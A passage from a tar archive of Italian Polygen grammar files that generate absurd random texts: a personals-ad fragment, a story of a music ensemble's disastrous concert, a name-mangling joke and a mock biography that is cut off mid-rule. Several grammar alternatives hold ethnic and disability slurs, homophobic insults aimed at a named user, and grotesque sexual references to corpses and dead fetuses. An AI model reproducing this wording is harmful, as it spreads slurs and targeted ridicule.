cucciolo tipo "Bambi" | esperto palafitte [Amante] | galante garzone tuttofare "part-time" Male | coppie | grosso pesce | proseliti adoranti idolo feticcio raffigurante incastro orrendi nani alati privi arti | coppia con figlio deforme | gatto delle nevi [cingolatissimo pluriaccessoriato] ; (* fare Cerca AGgettivi plurali *) Amante ::= amante >(clisteri di ghiaia | deposizione uova in bocca | sacrifici (umani | di >(anziani | bambini | donne [pregne] | animali [(vivi | morti)] | pontefici)) | pratiche sadomaso multicinghia | fisting (vaginale | anale) | religioni dimenticate | lingue morte | scherzi da prete | bigiotteria slava | percosse da "Hooligan" ubriaco | comignoli | febbre del sabato sera | feticci "Mara Venier" | scarpe usate | zuppa del casale | confessioni | pratiche orali | guerra "Vietnam" | sudore della fronte | feti morti | fellatio su cadaveri | cunnilingus estremo | feci colorate | clisteri zuavi) ; Per ::= per >(partite a (solitario | rubamazzo | tresette | scopa) | trarre ispirazione | essere iniziato ai piaceri della passivita' | battute di caccia | "week-end" palustri tra canne^"," rane e serate limacciose | trenino dell'amore | addestramento supino | interessante capriccio scientifico | esperimenti gravitazione universale | matrimonio | ballo liscio | scalata colline | pic nic all'insegna della coprofagia) | scopo >(amore platonico | amicizia (senza fine | duratura) | elezione a presidente del consiglio | amore di gruppo | invenzione acqua calda | conquista globo terrestre a risiko | esorcismo) ; polygen-1.0.6.ds2/grm/ita/concerto.grm0000644000175000017500000004107510340417034017072 0ustar enricoenricoI ::= (T ::= un AGGETTIVO.S racconto di vita vera scritto da una musicista esule invano innamorata di AMICO1 "(" ^VEZZO.S ^")" ; "title: "\T ^"\n" ^ "author: Auletride\n" ^ "language: italian\n" ^ "status: mature\n" ^ "topic: misc\n" ^ "created: 18/10/2004" ) ; S ::="\n" TITOLO "\n\n" INIZIO "\n" PARTENZA "\n" CONFESSIO "\n" ARRIVO "\n" PROVA "\n" CONCERTO "\n" DOPOCONC "\n" EPILOGO ; TITOLO ::= (\avventure | \meraviglie | \melodie | \armonie | \tragedie | \ripicche) (musicali | barocche | melodiose | armoniose | avventurose | tragiche | dispettose) nella REGIONE ; INIZIO ::= \eravamo stati (ingaggiati | chiamati | pagati | minacciati) perche' (ci esibissimo | suonassimo | intrattenessimo la gente | perdessimo tempo) a PAESE ^"," un (^'inutile | ^a ridente | ^a simpatica | ^a ridicola | ^' inattesa) frazione poco distante dalle ( malsane | ammorbanti | fosforescenti | verdeggianti | profumate | inattese) (paludi | risaie | torbiere | fabbriche di automobili | piantagioni di (ananas | manghi | banane)) di ALTROPAESE [^";" il capoluogo era peraltro ben visibile (sul ciglio del burrone | in mezzo alla foresta | in fondo alla vallata | in cima allo strapiombo) [e (comodamente | facilmente | prontamente) raggiungibile seguendo la (sterrata | proviciale | statale | mulattiera | ferrovia) [ per CIFRA chilometri]]] ^"." ; PROVA ::= \gia' durante le prove non (ci aveva convinto l | ci era piaciuta l | eravamo stati soddisfatti dall) (^'acustica | ^'atmosfera | ^a temperatura) della sala a noi destinata all'interno del (convento | monastero | municipio | ^l'oratorio | teatro | centro sociale | dopolavoro ferroviario) ^"," ma non riuscimmo a SFORZO il nostro EMOZIONE ^"," anche perche' tutta (l'indignazione | l'attenzione | la meraviglia | la confusione) venne (attirata | provocata | suscitata | scatenata) da due di noi che AGGETTIVO.P (discutevano | litigavano | urlavano | battibeccavano | si ringraziavano | si congratulavano | scherzavano) ^"." "\n" \infatti AMICO aveva (fregato | prestato | salvato | rovinato) il OGGETTO a AMICO [e questi si era messo a (piangere | invocare (pieta' | perdono) | vantarsi | concionare la folla | menare le mani | stuzzicare tutti | sghignazzare come un asino | cercare consensi)] ^"." ["\n" \io (mi alzai | uscii | sospirai | mi allontanai | frugai nella [mia] borsa) per (indossare il costume | mangiare la focaccia | far finta di non conoscerli | preparare gli strumenti) ^"." ] ["\n" \quando andai nel (retro| ^lo spogliatoio) e FANTA ] ; FANTA ::= (vidi | osservai | potei ammirare) il caro AMICO1 (in mutande [e cannottiera] | che si cambiava | con indosso solo l'intimo coordinato | che annaspava tra tutti gli oggetti che doveva preparare) ^"," (ebbi | fui visitata | concepii) una (malsana | eccitante | fastidiosa | insolita | morbosa | maliziosa) fantasia ^":" immaginai di (BACIO | GRIDO) prima che lui potesse (chiedere aiuto a | correre a rintanarsi con i | ricordare i | respingermi per restare fedele a) ^l suo unico [possibile | vero] amore ^"," cioe' la (dulciana | musica | \civica di \milano) ^"." ; BACIO ::= (dirgli | sussurrargli | chiedergli | ordinargli) ^":" "''" (^\baciami | ^\abbracciami | ^\stringimi | ^\palpami) VEZZO.S ^"!" ^"''" e di (violentarlo | assalirlo | molestarlo | saltargli addosso) li' per li' ; GRIDO ::= (spintonarlo | sbeffeggiarlo | nascondergli qualcosa | fargli suonare il telefonino ) ; SFORZO ::= (comunicare | manifestare | sottolineare | trasmettere | sfogare | far capire | far comprendere | sbollire) ; REGIONE ::= (zona | regione | valle | provincia | landa) de (^i laghi | ^i fiumi | ^lle solfatare | ^i soffioni boraciferi | ^lle nebbie | ^lle sabbie mobili |^i funghi) ; CONCERTO ::= \CONG quando fu l'ora di (iniziare | suonare) (scoprimmo | ci accorgemmo | ci fecero sapere) che (l'impianto > (amplificatore | dell'aria condizionata | delle luci) | il pavimento) (si era rotto | non era mai esistito | non era adeguato | era stato portato via [per sbaglio]) e AMICO divenne (decisamente | intensamente | furiosamente) AGGETTIVO.S [ma (trattenne | ingoio') il suo EMOZIONE] ^"." "\n" "" "LO SPETTACOLO DEVE CONTINUARE!" "" "\n" \facemmo CONG del nostro (peggio | meglio) (sebbene | nonostante) in prima fila il PERSONAGGIO ^"," che pure era (tornato |giunto) di corsa da ALTROPAESE ["(" ^dove era andato a (prendere suo nipote in piscina | firmare per la liberta' condizionata | mangiare i ravioli da sua (sorella | cognata)) ^")"] apposta per sentirci ^"," (morisse d'invidia per la nostra (eleganza | bellezza | bravura) | russasse rumorosamente | continuasse a parlare coi vicini | leggesse il giornale | berciasse incessantemente al cellulare [facendo casino]) ^"." ; PAESE := ( "Torci" | "Trucca" | "Schifi" | "Sputa" | "Cerco" | "Mulo" | "Macche" | "Sgorbi" | "Vomi" | "Caco" | "Scacco" | "Frego" | "Pievo" | "Mummi" | "Blo" ) ^ ( top | snacc | frott | brocc |rezz | zzecc | gorg | fan | trem | scat | blag | cul | cucc | pien | tter ) ^ ( oli | onia | ate | asco | agni | enga | engo | irello | eschi | ola | ano | oria | elli | agna | ecchia ) ; AMICO1 := ("Gae" | "Gio" | "E" | "Emi" | "Ga" | "Ve" | "Gi" | "Vi" | "Ro" | "Au" | "Pao" | "Pa" ) ^ [ ta | mi | re | ber | tto | nan ] ^ ( no | gio | lio | lo | to | rio | zio ) ; AMICO ::= ("Gae" | "Gio" | "E" | "Emi" | "Ga" | "Ve" | "Gi" | "Vi" | "Ro" | "Au" | "Pao" | "Pa" ) ^ [ ta | mi | re | ber | tto | nan ] ^ ( no | gio | lio | lo | to | rio | zio ) ; ALTROPAESE ::= ( "Torci" | "Trucca" | "Schifi" | "Sputa" | "Cerco" | "Mulo" | "Macche" | "Sgorbi" | "Vomi" | "Caco" ) ^ ( zzecc | gorg | cicc | fan | trem | scat | blag | cul | pien | tter ) ^ ( oli | onia | ate | asco | eschi | ola | ano | oria | elli | agna ) ; OGGETTO ::= flauto [tenore | soprano | contralto | basso] | clavicembalo | salvagente a forma di papera | leggio | quaderno degli spartiti | costume da clown | portafoglio | reggiseno [ nero | a fiori | coi pizzi ] | diapason | basso tuba | programma del concerto | cannello per l'ancia | tamburo ; AGGETTIVO ::= ilar(S:^e|P:^i) | sospettos(S:^o|P:^i) | furibond(S:^o|P:^i) | allegr(S:^o|P:^i) | fiducios(S:^o|P:^i) | calm(S:^o|P:^i) | perpless(S:^o|P:^i) | cordial(S:^e|P:^i) | fals(S:^o|P:^i) | controproducent(S:^e|P:^i) | accomodant(S:^e|P:^i) | condiscendent(S:^e|P:^i) | misterios(S:^o|P:^i) | ostil(S:^e|P:^i) | imbronciat(S:^o|P:^i) | solar(S:^e|P:^i) | rigid(S:^o|P:^i) | seren(S:^o|P:^i) | soddisfatt(S:^o|P:^i) | umiliat(S:^o|P:^i) | delus(S:^o|P:^i) | vergognos(S:^o|P:^i) | meravigliat(S:^o|P:^i) | fiss(S:^o|P:^i) | rimbambit(S:^o|P:^i) | attiv(S:^o|P:^i) | vigil(S:^e|P:^i) | mit(S:^e|P:^i) | adorabil(S:^e|P:^i) | effervescent(S:^e|P:^i) | deficient(S:^e|P:^i) | volgar(S:^e|P:^i) | turbat (S:^o|P:^i) | bell (S:^o|P:^i)| brutt (S:^o|P:^i) | cortes (S:^e|P:^i) | maleducat (S:^o|P:^i) ; VEZZO ::= ( amor(S:^e|P:^i) m(S:^io|P:^iei) [ car(S:^o|P:^i) | predilett(S:^o|P:^i)] [ adorat(S:^o|P:^i) | prezios(S:^o|P:^i) ] | zuccherin(S:^o|P:^i) | luc(S:^e|P:^i) dei miei occhi | ciccin(S:^o|P:^i) | puccipucci | tesor(S:^o|P:^i) [m(S:^io|P:^iei)] [ car(S:^o|P:^i) | predilett(S:^o|P:^i)] [ adorat(S:^o|P:^i) | prezios(S:^o|P:^i) ] | trottolin(S:^o|P:^i) amoros(S:^o|P:^i) | dolcezz(S:^a|P:^e) ) ; CONG ::= ( cosi' | percio' | nonostante (questo | cio') | nondimeno | tuttavia | allora | quindi ) ; EMOZIONE ::= ( smarrimento | contraccolpo emotivo | disgusto | piagnisteo | attacco di risa | deliquio | estraniamento | entusiasmo | sconcerto | fraintendimento | dolore | scontento | pentimento ) ; PERSONAGGIO ::= ( sindaco | parroco | consigliere comunale | priore della confraternita | metronotte | conestabile | vigile urbano | netturbino capo) ; UNITA ::= anni | giorni | mesi | ore | minuti ; CIFRA ::= ( 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9) ; QUANDO ::= (ieri [notte | mattina | pomeriggio] | nel giorno > (di \natale | del mio compleanno | di \pasqua | del mio onomastico | di \capodanno ) | quest > ( ^o inverno | ^a estate | ^a primavera | ^o autunno)) ; PARLA ::= disse | racconto' | confido' | confesso' | strillo' | fece sapere | ringhio' | urlo' | singhiozzo' | sghignazzo' | sbraito' | sussurro' | mormoro' | parlo' | esplose | rise | farnetico'; PARLA2 ::= parlo' | racconto' | strillo' | ringhio' | urlo' | singhiozzo' | sghignazzo' | sbraito' | esplose | rise | farnetico' | sussurro' | confesso' | mormoro' ; ATTIVITA ::= ( facevo surf | guardavo la televisione | mi lavavo | spiavo donne nude | prendevo lezioni di volo | scrivevo lettere | pattinavo | andavo in bici | facevo parapendio | ammiravo il panorama | mi facevo la barba ) ; INCIDENTE ::= ( ho inciampato | ho perso l'equilibrio | mi sono distratto | ho dovuto rispondere al cellulare | mi scappava la pipi' | ho avuto un capogiro ) ; PARTENZA ::= \eravamo partiti tutti (puntuali | in orario) tranne AMICO che aveva dovuto (portare | accompagnare) sua (nonna | mamma | zia) a (comprare | vendere | noleggiare ) (una casa | un'automobile | dei mobili | una barca | una moto | un vestito da sposa) [e si era fatto (attendere | aspettare) per CIFRA [^CIFRA] minuti] ^"." ; CONFESSIO ::= \durante il viaggio AMICO1 "(" ^che da sempre e' considerato il nostro { [rompiglioni | carismatico | casinista | problematico | schizofrenico] capo } ^")" PARLA AGGETTIVO.S ^":" "''" ^\sapete ^"," VEZZO.P ^","QUANDO ^ "," mentre ATTIVITA^ "," INCIDENTE e (ho buttato | mi e' caduto | ho lanciato | ho perso | mi hanno rubato) il OGGETTO (in mare | nel lavandino | nella vasca | nel tombino | nel fiume | in un vulcano | nella pattumiera) e si e' (rotto [in CIFRA [^CIFRA] pezzi] | sfasciato [in CIFRA [^CIFRA] pezzi] | sfracellato | ammaccato | scheggiato | incrinato | scollato) ^"!" \ma [ per fortuna] l'ho [subito] (recuperato | ripescato | ripreso | sciacquato | ripulito) da (^ll'acqua salata | ^ll'acqua insaponata | ^i liquami | ^l fango | ^lla tasca del furbo di turno | ^lla lava incandescente) e l'ho (riparato | riattaccato | aggiustato | rimesso insieme) con (la colla | una molletta da bucato | CIFRA [^CIFRA] pezzi di scotch | lo sputo) ^"!" \CONG [non] (picchiatemi | baciatemi | ringraziatemi | adoratemi | linciatemi | insultatemi) ^":" tra CIFRA UNITA (si rompera' di | ne comprero' uno | sara' come) nuovo^ "!!!" ^"''" ["\n" \allora AMICO smise di (fumare [il sigaro] | grattarsi (l'orecchio | il naso | una gamba)| frugare nel cruscotto) e PARLA ^"," AGGETTIVO.S come (mai | raramente | [troppo] spesso | talvolta) l'avevo visto ^":" ' ^IMPRECAZIONE ^"!" ^"''"] ; ANEDD ::= AMICO si guardava intorno AGGETTIVO.S ^"," infine PARLA2 ^":" "''" ^\qui' e' dove ATTIVITA nella mia (stupida | insulsa | ormai lontana | malinconica) (infanzia | giovinezza) ^"!" ^"''" [\CONG PARLA che a ALTROPAESE ^"," a soli CIFRA [^CIFRA] chilometri da dove ci trovavamo ^"," (suo fratello | suo padre | suo nonno | un suo caro amico | lui stesso | il figlio del (panettiere | droghiere | macellaio | salumiere) | un tizio a lui del tutto sconosciuto) aveva (fatto il militare | trascorso le vacanze | seguito un corso di aggiornamento | partecipato a una maratona nudista) e ^"," in quei memorabili CIFRA [^CIFRA] (giorni|mesi) ^"," suscitando l (^'ira | ^a stizza | ^'ilarita' | ^o sdegno | ^a simpatia | ^'interesse) de (^lla moglie | ^l capufficio | ^i compagni | ^lla polizia locale) aveva (trovato | perso | restituito | rubato) un (cane [bassotto | dalmata] | aquilone a forma di drago | reperto archeologico | mucchio di legna da ardere | ^a jeep | ^a scatola di preservativi | paio di scarpe quasi nuove) finendo per (ricevere | meritare | prendere) (encomi | rimproveri | ringraziamenti | un sacco di botte) per questo ^"." [ "\n" (\la (storia | notizia | confessione | stupida tiritera | confidenza) | \il (racconto | ricordo | balordo sermone | riassunto | prezioso aneddoto | resoconto)) lascio' AMICO (molto | poco) AGGETTIVO.S ^"."]] ; ARRIVO ::= \quando (finalmente | fortunosamente | disgraziatamente | di corsa) (giungemmo a | entrammo in | ci presentammo a) PAESE con CIFRA [^CIFRA] UNITA di (ritardo | anticipo) ^"," (davanti | dietro | di fianco) al (convento | monastero | municipio | ^l'oratorio | teatro | centro sociale | dopolavoro ferroviario) ci (aspettava | venne incontro | derise | accolse [freddamente | con calore] | infastidi') (un gruppo di (magrebini | suore | scolari | zingari | croati | ciclisti) | il PERSONAGGIO del paese ^"," gia' piuttosto AGGETTIVO.S) ^"." "\n" ANEDD "\n" \in (effetti | realta') PAESE era meglio nota per essere il luogo in cui era (nato | morto [ammazzato]) un ( famigerato | illustre | benvoluto | oscuro) (garibaldino | brigatista | \papa | ministro) ^"." ; IMPRECAZIONE ::= (\mapporcaccia | \all'anima | \per le budella | \per il grugno idiota | \per il sedere arrossato | \per le zampe sbilenche | \per i quarti posteriori) di una (lepre | capra | pecora | scolopendra | murena | bertuccia | quaglia | foca) (incoronata | scuoiata | ustionata | spiaccicata | imbalsamata | congestionata | sdraiata | incespicata | appestata | irsuta) ; DOPOCONC ::= [AMICO (si era strappato (le calze | i pantaloni | il mantello | il berretto | la giacca) | aveva rotto CIFRA (ance | corde della viola)) [^"," (ma | ed) era AGGETTIVO.S (lo stesso | come non mai | ugualmente)] ^"."] [AMICO1 aveva perso (meta' | un quarto | due terzi | un terzo | la maggior parte) degli spartiti e si agitava con grande EMOZIONE ^"."] [AMICO aveva (strappato | stracciato) CIFRA pagine in faccia a AMICO1 per SFORZO il suo EMOZIONE ^"."] [AMICO si era addormentato sul OGGETTO ^"."] \per il resto tutto era andato bene ^"." "\n" \CONG AMICO1 PARLA2 col cuore in mano ^"." "\n" "''" ^\la nostra (musica | viola da gamba | esibizione | intonazione | presunzione | educazione) e' stata (pessima | buona | scordata | migliorabile | labile |disgustosa) ^"," VEZZO.P ^":" (meno | piu') la (curiamo | inseguiamo | cerchiamo | ignoriamo | studiamo | pensiamo) (meglio | peggio) e' ^"!" ^"''" "\n" \il nostro EMOZIONE per le sue parole ci lascio' tutti AGGETTIVO.P ^"." "\n" "''" ^IMPRECAZIONE ^"!" ^"''" PARLA allora AMICO "''" ^\ma la (finisci | pianti | smetti) di (parlare | esprimerti) come un (deficiente | bambino piccolo | buliccio | belinone) ^"!?" \mi mandi fuori di (zucca | testa | melone) coi tuoi ' ^VEZZO.S ^' ^"!" \sembri (un maniaco sessuale [gay] | mia figlia adolescente | \gollum del \signore degli \anelli | mia bisnonna con l'^\alzheimer) ^"!"IMPRECAZIONE ^"!" ^"''" ["\n" \CONG anche AMICO PARLA2 ^"," (grandemente | leggermente | un po' | abbastanza) AGGETTIVO.S ^"." "\n" "''" ^IMPRECAZIONE lo dico io ^"!" \da quando vi conosco non ho passato altro che pomeriggi AGGETTIVO.P ^"!" [ \che (congrega | comitiva | compagnia | accozzaglia) di (ignoranti | cretini | perdigiorno | mattacchioni) AGGETTIVO.P ^"!"] [ \lo dico a vostro (padre | nonno | fratello) ^"!" ] [ \vi faccio (pestare | baciare) da mia (sorella | suocera | cugina) ^"!"] [ \non ne posso piu' ^"!" | \mi sento sempre (piu' | meno) AGGETTIVO.S ^"!" ] ^"''" ] "\n" AMICO1 tenne il broncio per un bel po' ^":" "''" ^\ce l'avete con me solo perche' INCIDENTE ^"!" ^"''" (piagnucolava | sospirava | borbottava) ^"." [FUGA] ; EPILOGO ::= \il fatto che la nostra (brutta | bella) figura [non] fosse stata (ignorata | derisa | ammirata | osservata | valutata | dimenticata) da tutto PAESE era senza dubbio un evento AGGETTIVO.S ^"." "\n" \CONG spuntava (il sole | la luna | ^no le stelle | ^no nuvoloni carichi di pioggia | il PERSONAGGIO ancor piu' AGGETTIVO.S di prima) e venivamo invitati a (cena | un brindisi | toglierci di torno (subito | immantinente | il prima possibile) | tornare al piu' presto) ^"." \risalivamo in macchina AGGETTIVO.P (sperando in | temendo) un prossimo ingaggio anche a ALTROPAESE per il mese successivo ^"." \ma era poco probabile ^"." \nella REGIONE non saremmo tornati (tanto presto | tanto volentieri | [tanto] facilmente | mai piu') ^"." "\n" (\va' in malora | \addio | \ci mancherai | \non ti scorderemo) ^"," PAESE ^"!" ; FUGA ::= "\n" \in quest (^a confusione | ^o bailamme) nessuno noto' AMICO che (si defilava | fuggiva | si dava malato | arretrava) ((pensando | cercando | sperando | tentando) di trovare un angolino per (fumare | mangiare le paste | nascondersi con l'incasso) | intenzionato a percorrere nonostante il (buio | bosco) i CIFRA [chilo ^] metri che ci separavano da ALTROPAESE per (cercare (lavoro | moglie) | rifarsi una vita | darsi alla macchia | aprire una ( lavanderia | pizzeria | spaghetteria)) laggiu') ^"." \la sua avventura fu tuttavia di breve durata ^":" venne infatti (sedotto | investito | arrestato | fatto ragionare) da un (affascinante | brutale | insonnolito | esperto) (camionista | autista d'autobus | guardiaboschi | autostoppista) che ce lo riporto' indietro ^"." ; polygen-1.0.6.ds2/grm/ita/vision-x.grm0000644000175000017500000000202410340417034017021 0ustar enricoenrico I ::= "title: Storpiature storiche di Vision-X\n" ^ "author: Manta\n" ^ "language: italian\n" ^ "status: mature\n" ^ "topic: misc\n" ^ "audience:" soprattutto {"Helder"}^, ma soprattutto {tutti | "Vision-X"} ^"\n" ^ "comment: fermo restando che" ("Helder" | "Vision-X") e' un (gay | down | coglione) ^"\n" ^ "created: 05/07/2003" ; S ::= \ ( Vision ^ "-" ^ \ >> Helder | X << | Helder (_ |++ ^ "-" ^ \X) |-- Vision ^ "-" ^ \Helder ^ "-" ^ \X ) ; Vision ::= vision (^e |++ _) ; X ::= + x | y | z | q | t | g | f | 3 | 4 | 5 | 7 | 8 | bello ; Helder ::= >> + helder | heldo | hell3 | [h^]ester | (web | wap)^ster | ebeter | inebetiter | beppe[^r] | aldo | pester | western | [h^]ezechieler | downer | gay | gaio | ezio | puzzer | gamber | helter [^skelter] | webber | wapper | camper | cipster | berzhelder | lamer | rapper | mezzhelder | bello | qua^(j | gli)^otter | helderer | herpes << ;polygen-1.0.6.ds2/grm/ita/bio.grm0000644000175000017500000010364110340417034016025 0ustar enricoenrico I ::= "title: Ritratto dell'autore da" (giovane |- vecchio | morto) "\n" ^ "author: Manta\n" ^ "language: italian\n" ^ "status: mature\n" ^ "topic: misc\n" ^ "comment: grazie a "^ (Suff ::= etti | izio; {"Maur" ^ Suff} {["Gian" ^ (franzo | nizzero | nozzo | mauro | "-Baptiste")]} {"Man" ^ Suff} )^"" per qualche idea ^ "\n" ^ "created: 30/08/2002" ; S ::= "Alvise Spano'" Nascita Infanzia ^"."\ ConclusioneInfanzia ^"."\ {Studio [e [poi] Studio]} ^"."\ {Affetti} ^"."\ {Cambiamento} ^"," (ma Morte | e Vita) ^ "."\ (++ (Epilogo | Lapide) ^ "." | _) ; Nascita ::= (X := {Luogo} {[improvvisamente | approssimativamente | all'incirca | verosimilmente] Tempo.nel} ; ^"," nato X^"," | >( nasce | (si ritiene | si tramanda [da sempre] | si dice) sia nato | fa la sua prima (apparizione | comparsa) ) X e ) ; Data ::= [(1 | 2)^] (2 | 3 | 4 | 5 | 6 | 7 | 8 | 9) Mese. Anno ; Mese ::= M: >(gennaio | febbraio | marzo | maggio | giugno | luglio | settembre | novembre | dicembre) | voc: >(aprile | agosto | ottobre) ; Anno ::= 19 ^ (0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9) ^ (0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9) ; Tempo ::= (Festa ::= "Natale" | "Pasqua" | "San Valentino" | "Ferragosto" | "Capodanno" | "Carnevale" ; Era ::= [tardo] ( giurassico | \[pre^]cambriano | (paleo | neo | meso)^litico | (meso | paleo | neo | ceno)^zoico | cretaceo | pleistocene ) [superiore | inferiore] ; nel: ( il Data | nella notte dei tempi | nel Era | nel Anno | tra (Festa | Mese.) [del Anno] e (Mese. | Festa) del Anno | in data (da stabilirsi | ignota) | ((M: nel | voc: nell'^) Mese del Anno).(M|voc) | (nella primavera | nell'autunno | nell'estate | nell'inverno) del Anno ) | al: ( al Data | al Festa del Anno | al Era | al Anno | ad una data ignota | ((M: al | voc: all'^) Mese del Anno).(M|voc) | (alla primavera | all'autunno | all'estate | all'inverno) del Anno ) | del: ( del Data | del Festa del Anno | del Era | del Anno | ((M: del | voc: dell'^) Mese del Anno).(M|voc) | (della primavera | dell'autunno | dell'estate | dell'inverno) del Anno ) | per: ( per sempre | per (Num | innumerevoli | molti) (anni | settimane | giorni | inverni) | per ([tutta] >(l'estate | la primavera) | [tutto] >(l'inverno | l'autunno)) [del Anno] | per tutta la vita | per tutto il Era ) ) ; Luogo ::= (InStato ::= in Stato [Card] | ((M:nel | F:nella | voc:nell'^) Stato).(M|F|voc) Card ; (a | presso) Citta ["("^Stato^")" | >InStato] | InStato ) ; Card ::= meridionale | settentrionale | occidentale | orientale ; Infanzia ::= (trascorre | spende | vive) (Agg ::= [in^]felice | mesta | infausta | spensierata | trista | lugubre ; X ::= giovinezza | adolescenza | infanzia ; {la propria X | una {Agg} {X}} {Luogo} {fino Tempo.al}) ; ConclusioneInfanzia ::= [Tempo.nel] ( lascia i luoghi (natali | natii | (m|p)^aterni | d'origine) | abbandona il (t | l)^etto (coniugale | (m|p)^aterno) | si (taglia | mangia) (le unghie | i calli) (dei | di ambo i) piedi | (compie | commette| intraprende) FolleGesto ) per ( >(recarsi | approdare | andare a vivere) a | raggiungere | conquistare | saccheggiare | mettere (a soqquadro | a ferro e fuoco | igni ferrique) ) \Citta^"," dove ( Studio | (compie | commette| intraprende) FolleGesto | {( >(si dedica | decide di consacrarsi | passa il suo tempo | si impegna) a | si occupa di ) Azione} {Tempo.per} | si converte [ (improvvisa | inaspettata)^mente | a seguito di un (trauma psichico | evento folgorante | incidente ParteCorpo.a) | dopo Evento ] Religione.a ) ; Ragione ::= con >( malcelato stupore | dis^(incanto | interesse) | devozione | trasporto | passione | disappunto ) | ^"," per >(gioco | divertimento | sconfiggere Malattia.art | diletto | la disperazione) ^"," ; Religione ::= (a: al) >( buddhismo | cristianesimo bizantino | confucianesimo | brahamanesimo | vedaismo | taoismo | celtismo ) | (a: allo) >(shintoismo) | (a: all'^) >(open source | islamismo | ebraismo) | (a: alla) >(cucina (transgenica | macrobiotica | Nazionalita) | politica [Nazionalita]) ; Studio ::= (Studia ::= {studia} {[Ragione]} Materia | [Ragione] (si iscrive ad | frequenta) un corso di Materia | [Ragione] (si iscrive alla | frequenta la) facolta di Materia [dell'universita' di Citta] ; ({solo dopo Evento [Tempo.nel]} {decide di Azione}) ^"," mentre [contemporaneamente] Studia | ( [dapprima] Studia [{Tempo.per}] ^"," ma {dopo Evento} {decide di Azione} | Studia {Tempo.per} ) | (consegue | riesce a conseguire | conquista | riceve | ottiene) [ poi | alla fine | infine | finalmente | ^", se Dio vuole," | ^", alla buon'ora," | ^", a Dio piacendo," ] Risultato ) ; Risultato ::= il diploma di Diploma | la laurea in Materia | il tirocinio in Materia | il titolo di ([gran^]maestro | specialista) in Materia | (il [tanto] desiderato | l'atteso | il sospirato | l'agognato | l'ambito | il prestigioso) ( rapporto sessuale [anale | orale] con Personaggio | riconoscimento di status di ( terrone | prigioniero politico | studente lavoratore | fricchettone | truzzo | tabbozzo [a quattro ruote motrici] | tamarro | (burino | buzzurro | zotico) [totale | a tutto tondo] | Nazionalita ) [da parte ( dello "Stato" | dell'amministrazione (comunale | provinciale) di \Citta | di Personaggio | "dell'Anonima" ("Alcolisti" | "Sequestri") )] | (mestiere | posto fisso | apprendistato | contratto di "co.co.co" per l'attivita') di ( scafista | becchino | spazzacamino | operatore analogico | tagliagole | assaggiatore di Ortaggi | pirata della strada | pedone | arrotino | guardia^(coste | boschi) ) [Nazionalita] ) ; Affetti ::= [( particolarmente | assai | decisamente | inspiegabilmente | piuttosto | incredibilmente ) [s^]fortunato ( nei sentimenti | nei legami sentimentali | negli affetti | nelle questioni di cuore | in amore )^","] ({Eta | nel Anno} {conosce}) ( (la donna | l'amore) della sua vita | una [giovane [e bella]] (ragazza | donna) Nazionalita [di Citta | di Num anni] ) ^"," ( Rel ::= che ( sposera' Tempo.nel | gli insegna ( [cosa sia] l'arte Attivita.di | AttivitaInf.a | >(cosa (significhi | voglia dire) | quanto sia piacevole) AttivitaInf.inf ) | lo converte Religione.a | lo (inizia | introduce) ((al mondo | all'arte) Attivita.di | Attivita.a) | rapisce deportandola Posto ) | con la quale (si trasferisce | va a vivere | scappa | fugge | si ritira) (Luogo | Posto) | (con la quale dara' alla luce | che gli donera') [Tempo.nel] Figlio [e poi ancora Figlio [Tempo.nel]] ; Rel [e Rel]) | ({si scopre ((etero | omo | bi | tran)^sessuale | uomo | donna)} {Eta [nel Anno]} {[dopo un (travagliato | intenso | terribile) conflitto interiore]}) e (scappa | fugge) (di casa | da [^lla sua [amata]] Citta [^"," dove viveva assieme a Parente^","]) per ritirarsi Posto [in compagnia di un (uomo | giovane) [conosciuto [Tempo.nel] (durante un viaggio in Stato | Dove)]] ; Dove ::= al mare | al cinema | in discoteca | al bowling | ad una festa [di compleanno] | a scuola | all'universita' | al circo | a [^lla "Santa"] messa | all'oratorio | in autobus | in corriera | al bar | in stazione | su internet [in chat] ; Figlio ::= un [^o splendido] (figlio[^lo] | bambino) (_ | nano | obeso | demente | down | gay | negro | sordo | gobbo) | una [splendida] (figli^(a | ola) | bambina) (_ | Nazionalita | anoressica | negra | allergica | barbuta | musulmana | gobba | sorda) | Num [splendidi] gemelli [(etero | omo)^zigoti] [Razza] ; Cambiamento ::= (Quando ::= ^"," (dopo | al termine di | in seguito a | a seguito di) ( un (lungo | tristo | felice | interminabile) periodo (trascorso | passato | intrapreso) | una (meravigliosa | tormentata | gioiosa | lugubre) (infanzia | giovinezza) (trascorsa | passata | intrapresa) ) [(serena | dolorosa | travagliata | consapevol)^mente] {Luogo} {AttivitaInf.a} ^"," ; {la sua (vita [sessuale | di coppia] | esistenza)} {[finalmente]} (- cambia | (subisce | attraversa) un (improvviso | importante | decisivo | inquietante | repentino) (cambia | muta | sconvolgi)^mento ) quando [Quando] (decide | ha modo) di Azione [e {realizzare} {quindi} il proprio sogno di Azione] | [ma] {il suo sogno di Azione viene [invece | infine] soddisfatto} {[solamente] quando [Quando] (decide | ha modo) di Azione} [e finalmente ha l'occasione di Azione] | ({[tuttavia]} {non e' (che (Eta | Tempo.nel) | prima Tempo.del [^"," Eta^","])}) [Quando] che ha ({[finalmente]} {modo | l'occasione}) di Azione [e {finalmente} {realizzare} il proprio sogno di Azione] | (Evento | il dramma che Dramma "("^ Evento ^")") lo (costringe | obbliga | persuade | convince | spinge [definitivamente] | invoglia | muove) a Azione ) ; Dramma ::= lo segnera' Tempo.per | ricordiamo tutti con >(sgomento | tormento | simpatia | sagacia) | lo >(affligge | affatica | sgomenta) Tempo.per ; Sepolcro ::= ( (in: nel | il: il) >(cimitero | campo santo) | (in: nella | il: la) >(chiesa | cappella | cripta) | (in: nelle | il: le) >(catacombe) ) di Santo ; Morte ::= {^"," (stroncato | abbattuto | colpito | ucciso | consumato | distrutto) Malattia.da} {{(decede | muore | defunge | spira) [tragicamente | nel sonno]} {il Data [Eta]}} [ ( ed e' {[[ad] oggi | ancora]} {sepolto} Sepolcro.in Luogo | e riposa [ancora | in pace] Sepolcro.in Luogo | e il suo (fantasma | spettro) infesta [ancora | tormentato] Sepolcro.il [Luogo] ) | ^"," [solo al mondo e] compianto da (tutti | molti | nessuno | pochi | molti |+ da Parente [soltanto]) ] | [non si hanno [piu'] sue notizie da quando ^","] (scomparso | perdutosi) [misteriosamente | tragicamente | in circostanze ignote] Tempo.nel [^"," Eta^","] Posto ^"," non (e' [mai] piu' tornato | ha [mai] piu' fatto ritorno) alla sua [casa di] Citta [ ed il suo corpo non e' {mai} {stato} (ritrovato | 